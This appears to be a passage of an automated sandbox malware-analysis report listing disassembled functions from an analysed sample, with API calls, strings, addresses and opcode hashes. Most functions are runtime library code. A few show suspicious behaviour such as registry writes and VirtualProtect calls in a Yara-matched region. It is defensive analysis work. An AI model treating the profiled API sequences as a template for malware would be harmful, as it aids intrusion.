Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 04D2ABC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04D2ABF7
___except_validate_context_record.LIBVCRUNTIME ref: 04D2ABFF
_ValidateLocalCookies.LIBCMT ref: 04D2AC88
__IsNonwritableInCurrentImage.LIBCMT ref: 04D2ACB3
_ValidateLocalCookies.LIBCMT ref: 04D2AD08

Strings

csm, xrefs: 04D2AC9D

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 223e9a11243f96eec3994b59ce0f552191ba8ac1512b8dc689b3d0768877f3cb
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: DD41C034B00228AFCF10DF68C980A9EBBA5FF9432CF148165E815AB351D775FA01DBA0

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 0040B7C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040B7F7
___except_validate_context_record.LIBVCRUNTIME ref: 0040B7FF
_ValidateLocalCookies.LIBCMT ref: 0040B888
__IsNonwritableInCurrentImage.LIBCMT ref: 0040B8B3
_ValidateLocalCookies.LIBCMT ref: 0040B908

Strings

csm, xrefs: 0040B89D

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 0a5d0bd6c222bbdd43f8b319fa79a96d429a9708f3c046b0ae0cbd11a01f7e51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 11418535A00219DBCF10EF69C885A9EBBA5EF44318F14C17AE8147B3E2D7399905CBD9

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 10007353
ext-ms-, xrefs: 10007367

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00413339 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00413448,00403597,?,00000000,00402809,0040280B,?,004135C1,00000022,FlsSetValue,00422950,00422958,00402809), ref: 004133FA

Strings

ext-ms-, xrefs: 004133A4
api-ms-, xrefs: 00413390

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 89836d951bc72d4e20e2faa1a52db581b462940ce5fd44a8dff6846afbaeb460
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: A3212731B01214EBDB329F21DC44ADB7B68AB41765B200133ED15A73D1DA78EE46C6DC

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 04B6BBEB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B6BBE2,04B6B186,04B6A997), ref: 04B6BBF9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B6BC07
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B6BC20
SetLastError.KERNEL32(00000000,04B6BBE2,04B6B186,04B6A997), ref: 04B6BC72

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 2a41b152595a7504c53bb8ca46dbe145aae3d74ac4d8e0498f82aa76182e0391
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 3101793620D6219EA73427BD7CC496B2F64E70567872002B9E537D61E1EE5975016144

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 0040B984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040B97B,0040AF1F,0040A730), ref: 0040B992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040B9A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040B9B9
SetLastError.KERNEL32(00000000,0040B97B,0040AF1F,0040A730), ref: 0040BA0B

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: c1383cefff0a9c77c0f6256a7d22d0577fd0bc713188e5814d490c4ea7085b9f
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 6D0192727197119EE63427B97CC6A6B2B94EB01778760033BF520752E2EB39480255CC

Function 004015D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004015D5

Part of subcall function 00409842: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0040984E

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 0040160B
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 00401642
Concurrency::cancel_current_task.LIBCPMT ref: 00401757

Strings

string too long, xrefs: 004015D0

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 2123813255-2556327735
Opcode ID: 281a2476be6cc453a5ad27d9da9e1dc32d507c6cc5bf7aa10868f271ceef2746
Instruction ID: 8b29ff92f67febe7d184f40cd986ab90276924f3587203b15f4be4e0e60d2281
Opcode Fuzzy Hash: 281a2476be6cc453a5ad27d9da9e1dc32d507c6cc5bf7aa10868f271ceef2746
Instruction Fuzzy Hash: 5E4127B1A00300ABD720AF759C8575BB7B8EF48354F24063AF91AE73D1E775AD0487A9

Function 004058D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122registrysleepCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

mixone, xrefs: 00406219

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateOpenSleepValue
String ID: mixone
API String ID: 4111408922-3123478411
Opcode ID: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction ID: 36deb0a2def4af7d69c3889f60f670a394a8a5da25757ff3a02b89eea185ed5b
Opcode Fuzzy Hash: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction Fuzzy Hash: F3418571210108AFEB08DF58DC95BEE7B65EF08300F908229F955AB5D1D778E9848F58

Function 00410580 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,75DBD2FC,0040280B,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105B5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004105C7
FreeLibrary.KERNEL32(00000000,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105E9

Strings

CorExitProcess, xrefs: 004105BF
mscoree.dll, xrefs: 004105AE

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction ID: f4dd53f2cc94282f557b0741292325b7031a84366b21a1c3c136dd1e19965a8c
Opcode Fuzzy Hash: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction Fuzzy Hash: F501A271A44625FBDB128F80DC05BEEBBB9FB04B51F004536F811A22A0DBB8A944CB58

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

CorExitProcess, xrefs: 10005FCA
mscoree.dll, xrefs: 10005FB8

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 04D34410 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D34495
__alloca_probe_16.LIBCMT ref: 04D3455E
__freea.LIBCMT ref: 04D345C5
__freea.LIBCMT ref: 04D345D8
__freea.LIBCMT ref: 04D345E5

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction ID: 365f34da5dca3eff6bb854ee807a0f6deae723f41fdef18346994e494c812e4a
Opcode Fuzzy Hash: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction Fuzzy Hash: 6E51B272B00256AFEB219F60CC88EFB76A9FF4571AB190129FE05D7110EA78ED50D660

Function 00415010 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00415095
__alloca_probe_16.LIBCMT ref: 0041515E
__freea.LIBCMT ref: 004151C5

Part of subcall function 00413C79: RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

__freea.LIBCMT ref: 004151D8
__freea.LIBCMT ref: 004151E5

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction ID: def92c4ecd74f4627ee81fabb5ad5435351d3551a42f570b1979e48308b83863
Opcode Fuzzy Hash: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction Fuzzy Hash: 1A51B372A00646FFDB225FA1CC41FFB3AA9EF84754B25002FFD04D6251EA39CD918668

Function 04B62C87 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B62D2F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B62D44
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B62D52
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B62D6D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B62D8C

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction ID: aa29f0a53a87efdca3b8d4ccbf5e30c5ab76ea25d296fa1f5bf85d65b6e82532
Opcode Fuzzy Hash: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction Fuzzy Hash: 3F310635B00104AFEB14EF58DC40FAAB7A8EF48704F4541E9EA06EB251DB75AD16CB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 0040CA97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx), ref: 0040CAA4
GetLastError.KERNEL32(?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx,00000000,?,0040C836), ref: 0040CAAE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0040CAD6

Strings

api-ms-, xrefs: 0040CABB

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction ID: aef67c255cc06d75e4f2c7ed4f9f6bc06eb467b970858842cb7b754112db4c8a
Opcode Fuzzy Hash: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction Fuzzy Hash: 12E01230380308F6EF105F61ED46B5A3F569B11B54F108131F90DF85E1D7B5A815998C

Function 04B798F3 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0042C014,00000000,00000000,00000000), ref: 04B79956

Part of subcall function 04B751BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B75422,?,00000000,-00000008), ref: 04B75220

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 04B79BA8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B79BEE
GetLastError.KERNEL32 ref: 04B79C91

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
